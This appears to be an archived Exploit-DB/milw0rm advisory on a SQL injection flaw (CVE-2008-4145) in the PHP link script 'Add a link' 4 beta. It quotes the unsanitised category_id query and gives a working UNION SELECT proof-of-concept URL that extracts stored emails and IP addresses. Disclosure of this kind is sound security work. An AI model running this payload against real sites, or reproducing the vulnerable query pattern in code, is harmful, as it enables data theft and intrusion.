addalink 4 - 'category_id' SQL Injection

Author: ka0x
type: webapps
platform: php
port: 
date_added: 2008-09-17  
date_updated: 2016-12-22  
verified: 1  
codes: OSVDB-48500;CVE-2008-4145  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 6485.txt  
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Add a link <= 4 - beta || Remote SQL Injection Vulnerability
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/ Script: Add a link
/ Version: <= 4 - beta
/ File affected: user_read_links.php
/ Download: http://sourceforge.net/projects/addalink/
/ need magic_quotes_gpc = Off


Found by ka0x <ka0x01 [at] gmail [dot] com>
D.O.M Labs - Security Researchers
- www.domlabs.org


Vuln Code:
--------------

32:  $read_out_linktable="SELECT * FROM $linktable WHERE approved='1' AND category_id='$category_id' ORDER BY id DESC LIMIT $start,$steps";
33:  $read_result=mysql_query($read_out_linktable);

....

87:  while($data=mysql_fetch_array($read_result))
88:  {
90:      echo "<tr><td colspan=\"5\">$data[description]</td></tr>";
91:  }

--------------

The var $category_id isn't verified.


Proof of Concept:

http://[host]/[addalink-path]/user_read_links.php?category_id=' UNION SELECT 1,1,1,1,1,1,concat(email,0x3a,ip),1,1,1,1 FROM Linklisttable/*


__EOF__

# milw0rm.com [2008-09-18]